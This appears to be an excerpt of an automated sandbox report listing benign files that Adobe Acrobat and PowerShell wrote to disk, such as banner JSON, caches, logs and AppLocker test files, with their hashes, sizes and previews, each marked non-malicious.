Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.291603324023864
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJfzdPeUkwRe9:YvXKXZqRrJUTbdSVGb8Ukee9
MD5:	9455A15C0B24DF1EC124D46F5558503C
SHA1:	C2E52013F927DB1FD777FE099ACEE745810F85C6
SHA-256:	5F847BFBA7199F607E5CFCF4982B83899999DF318C7CCE95B6CA8A0E04161A2B
SHA-512:	6C3E38A48EE9E0B853510EB38DCFFF4074134391276C9674900D892832CF0CACA38F3B311C2E8066B6B1D062E58D0312ACC1D7FCE7C8694486589A2F0EB14A06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27106470541277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJfYdPeUkwRe9:YvXKXZqRrJUTbdSVGg8Ukee9
MD5:	B1F2B18938FC05BC7772BE24BFE7DA56
SHA1:	9BA299E673266475342FB059C501C9EDC7DC9A29
SHA-256:	8E4BABB6066C654FD72ADF465CBF447AF578AC00F9F376C3D819A1FE5071D9FF
SHA-512:	2BF72497E712FB2D8CE4446F370AB34D1E35F5193D93AB0F76BB54048BBB2CAF7FBCA62662596B87A3348F823FCCA2FA7B661CF3D70875FC1212C0035123F8AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.257187007655624
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJf+dPeUkwRe9:YvXKXZqRrJUTbdSVG28Ukee9
MD5:	D8832B554CBDFD5A774FA2C8C54F83BC
SHA1:	0FD17E5B9F35ACFFA771BBE227A22EDD1EE18CC3
SHA-256:	B9ED66BE8B1959A89FD74A619C1E62635B97015FC92C9CEB0845F2057F647E59
SHA-512:	BA5BA3D18FDD139EB5AB6D4123CF2C77BF47CC4B59C687DC353482296D601F3C08F7D334CC8A49E819AAC33AD967CD4AEE4DC20853CB1BBD81F8A6354F5E566D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.254810671090669
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJfbPtdPeUkwRe9:YvXKXZqRrJUTbdSVGDV8Ukee9
MD5:	5C8C0B9066DA5731AA87DFBE0675B364
SHA1:	CE48B2C4A047D1A74964BD2CE20AE424E3294951
SHA-256:	6542D09CEC55959CB6C09A280695C8E411F733377AF338855239A569343D6DAD
SHA-512:	79297957CEC4ED67FD709424B73FA44C6C0AB9DD8EB50B3EBE03912A933F7DEF608FE33CEA3A2AB5161392FB9AC319EADC9BF49FCCAADB5A340A501398ECE073
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.25714173362631
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJf21rPeUkwRe9:YvXKXZqRrJUTbdSVG+16Ukee9
MD5:	527E4B80D6F5041B94E3939F76D829A3
SHA1:	C4450695147FF8EEDF759201288AC79F53A25C8A
SHA-256:	9B76D153769EFD89E1301D3C3D800B811D4C2368B0F54C5F804070F8611B8FAE
SHA-512:	7C514424D01C033F4545598633BBBB1EFC6EAE1CAEC1FF2CDB3E883990C7A6B6687A2FE18BEDD1CD3B98C307BE0F8317A3DCD45EC8D265CD29F0C13285C5BA13
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6602909529091585
Encrypted:	false
SSDEEP:	24:Yv6XZ8lUXEmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSw:Yv08lwhBgkDMUJUAh8cvMw
MD5:	F6549E3342359A780E537B54E5B0B0F0
SHA1:	0D976730C6BA7595836F66EBF695386F6C46635C
SHA-256:	ABE29B7D226B3B3BB7B6E016A1C3E1B7F3356F322B063C7A591F218A241EFB4B
SHA-512:	F3E830322CFB22345905F7CAF54F28279D40B0515F6A2A7A54AB073403481C420F255541D9DB1DA782006C417204A30F88F259732A2586AD99785017564045BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.234622612891676
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJfshHHrPeUkwRe9:YvXKXZqRrJUTbdSVGUUUkee9
MD5:	FC1DC535333761DE56FC3DA09C527ECD
SHA1:	610E3B7124F0A23F75D2D19527561B8DD0122C70
SHA-256:	8377DFB1ECE7E798FBC62BFE98EF9C51CFFEADF828AEC8C625CE29F6A811A407
SHA-512:	CFE00FDFA9CE66AF3A8D85537BA36FD3D0858CFE91EB00C34516193357D300AD64DD2603D74FC5CA8F8BC42333F9B0FF620C6C42EFF972CAFD817DE7AEF50737
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.244963970547789
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJTqgFCrPeUkwRe9:YvXKXZqRrJUTbdSVGTq16Ukee9
MD5:	252F49B7180813905788D034DD7C8301
SHA1:	932174C76DED4750A6D5F1936BB73C5DC41EF931
SHA-256:	D0E564A3BCDE7BAD014A0208FBC64676B56282DF6688651B28C4DEDEA9385C8C
SHA-512:	597585D90A74B7F6EBB6954A42D59D6066CF9FB658C5DF14A4FB1AB63A860120861E13227D5FB516AD04204C44567291FD4DF47D5CBD9CD155E4DF45C552D0C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137589471597107
Encrypted:	false
SSDEEP:	24:YR+ja2Bay0NJ2jRPKMpkOvkc+5nA45jUvj0SPxyFyf2qS2LShC+QYOKDrEC185ck:YtNevkC+ZAy6NOgePlQCDrECy+9C
MD5:	66A16E72DF59476201FE24F04EE84D45
SHA1:	F609972365B99ADBD4CB1BA4CF9D5F08597B9D85
SHA-256:	B553F8123F07B5321ED060C1D8D2AC3A271F391953669E6E7521A8967D5A1A82
SHA-512:	52251D6C4C9EFF9043FEA3D0F562A457041D8B8F9C8212E719820C36239B2C05DBA26DC7EFE936310467B58943DF6CAE9F9AB169AB1B5F3EC40221398F37573C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0a5d4661cd7856a626ccd72d4d48797c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736541171000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"455f5e9fb4a1e28ef784bf029fe9d45c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736541171000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"268b1f39852c6cc8a6dc8c7b6801303e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736541171000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"77216cc40123733c674c41296981195f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736541171000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2f3466bd35cd107115c0e62058bd3ed8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736541171000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3508eab848913ba1436f0fc6006a6144","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3203422214152079
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yo40+EXSqXZ:TGufl2GL7msUKB0M0+Tb608Yo45rQ44
MD5:	0D4D26F154CA511408504080A1F08A02
SHA1:	952BAEAC0696604644208E55AA10FF5E7F64D394
SHA-256:	029ED1C10418EFAEAD1ABBF878C64729A81C5CEDC038EFCA130DEDDF3A2E1743
SHA-512:	A9B959484703658ADB3C8A0565C2BDEC2AA1814EFB432142EFD0147E63AB9C3B198E2F7DB8D32EB2194B4F289081EA12544ABB1ABA69C7B074FF219B33B05081
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.783190765255592
Encrypted:	false
SSDEEP:	48:7MPKB0M0+Tb608Yo4UrGKPRqFl2GL7ms9:7BFb608YoJpKVms9
MD5:	86BA5F4BB0A27179E52F540777C69E00
SHA1:	1F994965F8B17D618D9CC0E908FA284B2C2CF818
SHA-256:	56AC0A6B43203996851923B8C6592BC34BDD24B5D3352347553FF43C94856957
SHA-512:	9AF77AD632EC7F647D4375AB292246C1BEE837530E097E0AF6B69AA44664917EE6DE56AC4D10A48AE55C45D521C54DB3027DD02F3510A3558BC713234D8D1828
Malicious:	false
Preview:	.... .c..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg0Xb+M6u39yXFgV4y+qbZQACYyu:6a6TZ44ADE0XIu39EFEQfK
MD5:	867507044930760882426385AEB68926
SHA1:	E84C8E11F5D2678E1B7FA39BD1258BD33CE0B93B
SHA-256:	D3A4E6925BD1708713FB346C08605C4B13AF03E34FDC37324D5B4E99BD972608
SHA-512:	C67A1E3DE65AEFF7699ADB2210500FA9635FF838E2EBC8357FE3627CF406728B29E516D84C7DFB6EFD6BDF6553520354F86B8F4AC3B59991F01B4E2BD7488CBC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI4f6ae.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.50000825118868
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClET3NQloYH:Qw946cPbiOxDlbYnuRK+bD7CloYH
MD5:	19971C5F69197C4FE0C631B62B76FAE7
SHA1:	8D4398A6E0B3F26D41434E38C5181DDE698DB1C4
SHA-256:	890C46B60A0B56A9547E5DFDFF6FCA9A85FB64B5B1A75959077461469E09B2E1
SHA-512:	A8B92A4DB35A89405DAD17D149BE91BB9606875364DBF002D9EF2A6594CCF184B71770DB4C74F80216C7D6FE51DEF2BD5A2DAA8EA5260B8B70463F3599BE7663
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.3.2.:.5.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_su4selgu.vsn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zx05e2nn.oez.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9ecp0sr_1dx2d5w_138.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.991223221254866
Encrypted:	true
SSDEEP:	768:OJJjvfDzfHO5bh+1NOAh1kcNgYCh7dHx/4gkxgSPe2RWtEY7LYv9rtHbHqC/PwP7:Ovj3fXvOA7zO3qgSPp67cNtHbKpT
MD5:	3CE6C08E3BDF5ED6EA32FEB310EB0765
SHA1:	889275ADCEC96DF5D21B957A4774E31DF5341B2D
SHA-256:	1E25EC0CFD87CFA13FC20D67503EBE285C1837F499FEA52B8886B5D13D0781D4
SHA-512:	804D90CE1F2AAC58022DBAD2BEB20C3525F4F698814FCD049BD456374DA8ECA684540F34AD254B991FDE3020375A1F58947CF04D73085946C8CC0B896706634E
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-32-45-781.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354034479591049
Encrypted:	false
SSDEEP:	384:82ajiWAuIorvjDz6JPA3l0V1mSGqJJ1yrwFRPL/p5hMmFQozSJ5XcncRAWg4geN6:K/8
MD5:	35301193646C965309112D68C6034118
SHA1:	DC084D1CBF46CEE51A70F46A3025C9A26B3BDF10
SHA-256:	8E25C3AF1851811CCC63CEF550C9D560FB8F1047CEB67FC8A610762B2FE08EA6
SHA-512:	719634E8EA8E4498192EA5FFE2BF7AD60AC88EEEEA146E6858AF12E5796E9AC34C47E0AB8459867BBECB027E81B14C8E13657B6E40D6F904ADECE7DF693F0D4E
Malicious:	false
Preview:	SessionID=a05aa38c-1de7-4541-bf41-bb6b6fe4b359.1736541165947 Timestamp=2025-01-10T15:32:45:947-0500 ThreadID=3048 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a05aa38c-1de7-4541-bf41-bb6b6fe4b359.1736541165947 Timestamp=2025-01-10T15:32:45:978-0500 ThreadID=3048 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a05aa38c-1de7-4541-bf41-bb6b6fe4b359.1736541165947 Timestamp=2025-01-10T15:32:45:978-0500 ThreadID=3048 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a05aa38c-1de7-4541-bf41-bb6b6fe4b359.1736541165947 Timestamp=2025-01-10T15:32:45:978-0500 ThreadID=3048 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a05aa38c-1de7-4541-bf41-bb6b6fe4b359.1736541165947 Timestamp=2025-01-10T15:32:45:978-0500 ThreadID=3048 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400547285942743
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zma:EGvIcNYdLwtjAiQ
MD5:	2F1266659A3318E00046A0C89F2453D2
SHA1:	C9F2B8FB4C058F0F28AD3BBE5B6E36FBF7EB7D0A
SHA-256:	7028FA45E28357E3D863D7D97E272BD189B8B2947835A3DAB1533087A8587488
SHA-512:	7CE2427DE394629EDCAA64EAB9D5D4F83E3DD18596124429238499E006200BF4B7E86A9FACFEC564F1750B94EDA09B4096C92835C7DD13D22F263B8D5116E758
Malicious:	false
